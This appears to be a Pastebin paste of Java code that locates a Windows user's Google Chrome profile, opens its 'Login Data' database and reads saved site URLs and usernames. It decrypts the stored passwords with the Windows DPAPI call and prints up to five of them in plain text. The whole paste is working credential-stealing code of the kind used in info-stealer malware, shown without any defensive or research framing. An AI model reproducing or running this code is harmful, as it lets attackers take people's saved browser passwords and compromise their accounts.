Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- import java.io.File;
- import java.util.logging.Logger;
- import java.util.logging.Level;
- import com.almworks.sqlite4java.SQLiteConnection;
- import com.almworks.sqlite4java.SQLiteStatement;
- import com.sun.jna.platform.win32.Crypt32Util;
- public class Chrome{
- public static String DATA_FILE_PATH;
- public static void check(){
- try{
- Logger.getLogger("com.almworks.sqlite4java").setLevel(Level.OFF);
- File file = new File(DATA_FILE_PATH+"\\Login Data");
- if(!file.exists())
- return;
- SQLiteConnection db = new SQLiteConnection(file);
- db.open(true);
- SQLiteStatement st = db.prepare("SELECT origin_url,username_value,password_value FROM logins");
- for (int i = 0; i < 5 && st.step(); i++) {
- String s = "url:"+st.columnString(0)+", user:"+st.columnString(1)+", pass:";
- byte[] encryptedPass = st.columnBlob(2);
- byte[] decryptedPass = Crypt32Util.cryptUnprotectData(encryptedPass);
- String decrypted = new String(decryptedPass);
- System.out.println(s+decrypted);
- }
- st.dispose();
- db.dispose();
- } catch(Exception e){
- e.printStackTrace();
- }
- }
- static {
- String os = System.getProperty("os.name");
- if (os.contains("Windows")) {
- String user = System.getProperty("user.name");
- if (os.contains("XP")){
- DATA_FILE_PATH = "C:\\Documents and Settings\\"+user+"\\Local Settings\\Application Data\\Google\\Chrome\\User Data\\Default";
- if(!new File(DATA_FILE_PATH+"\\Login Data").exists())//PT(language)
- DATA_FILE_PATH = "C:\\Documents and Settings\\"+user+"\\Definições Locais\\Application Data\\Google\\Chrome\\User Data\\Default";
- } else
- DATA_FILE_PATH = "C:\\Users\\"+user+"\\Appdata\\Local\\Google\\Chrome\\User Data\\Default";
- }
- }
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement